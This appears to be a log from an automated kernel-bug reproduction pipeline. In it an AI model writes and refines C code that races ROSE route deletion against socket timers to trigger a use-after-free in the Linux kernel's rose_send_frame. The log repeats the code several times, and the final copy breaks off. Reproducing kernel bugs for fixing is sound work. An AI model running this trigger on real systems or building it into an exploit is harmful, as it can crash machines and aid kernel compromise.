   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Strategy: The feedback clearly indicates that the `SIOCSIFHWADDR` ioctl failed because `ifr.ifr_hwaddr.sa_family` was incorrectly set to `AF_ROSE` (11) instead of the expected hardware type `ARPHRD_ROSE` (270). This failure cascaded, leaving `rose0` without the expected MAC address, which then caused `bind()` to fail with `EADDRNOTAVAIL`.

To fix this, we simply need to include `<net/if_arp.h>` and use `ARPHRD_ROSE` when setting the hardware address for the `rose0` interface.

Here is the updated reproducer:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE; // Fix: Use ARPHRD_ROSE instead of AF_ROSE
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        perror("SIOCSIFHWADDR rose0");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) continue;

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            perror("bind");
        }
        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            perror("SIOCADDRT");
        }
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```
NeedProbe: false

gemini-3.1-pro-preview

							input: 12207
							output: 2042
							thoughts: 11335
						

**Reproducer for KASAN slab-use-after-free in `rose_send_frame`**

Okay, I'm being asked to create a C reproducer for a KASAN UAF in the `rose_send_frame` function. The key is in the race condition between timers and route deletion.  The initial feedback indicates an issue with `SIOCSIFHWADDR` failing because the hardware address family was incorrectly set. The user even gave a strategy that I think I need to use.  However, this prompt is for me to *generate* the reproducer. The user says that the needProbe variable is false, so I should provide the full reproducer and I am now ready to begin writing the C code. It's time to build a reproducer!

I've got a description that mentions a UAF in `rose_send_frame` called from `rose_transmit_restart_request`, then from `rose_t0timer_expiry`. The object that's freed is a `rose_neigh` that was allocated by `rose_add_node` via `rose_rt_ioctl` (specifically `SIOCADDRT`). The object is freed by `rose_neigh_put` called from `rose_timer_expiry` (which is the t3timer).  The provided reproducer has a lot of good features, and I'll carefully check it against the instructions.

First, I need to create a `ax0` interface using the `mkiss` line discipline.  Then, I'll bring the interface up. Then, I need to set the `rose0` interface's MAC address and bring it up too. The crucial part:  The feedback indicates a fix where I need to use `ARPHRD_ROSE` instead of `AF_ROSE` when setting the hardware address with `SIOCSIFHWADDR`.  I will need to ensure that the t3timer and t0timer expire at the same time and I will do this with `set_sysctl`.  Finally, I will set up the race condition by setting up several iterations of binding a socket, adding a route with `SIOCADDRT`, then deleting the route with `SIOCDELRT`, and closing the socket. I have to make sure I wait for the timers to expire with `sleep(1)`.

The instructions demand strict error checking after *every* system call. If a call fails, I must print an error message including the function name and the `strerror(errno)`, and *then* exit with a non-zero status. So that's the main change I need to make to the reproducer. Let's start with a solid structure for the C code:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (

map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
